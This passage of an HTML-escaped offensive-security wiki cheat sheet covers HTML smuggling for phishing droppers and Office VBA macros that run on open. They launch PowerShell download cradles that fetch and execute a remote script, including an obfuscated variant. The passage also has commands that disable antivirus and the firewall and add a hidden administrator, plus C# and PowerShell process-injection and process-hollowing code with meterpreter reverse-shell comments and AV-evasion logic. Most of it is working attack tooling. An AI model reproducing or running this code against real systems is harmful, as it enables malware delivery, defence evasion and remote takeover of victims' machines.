			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
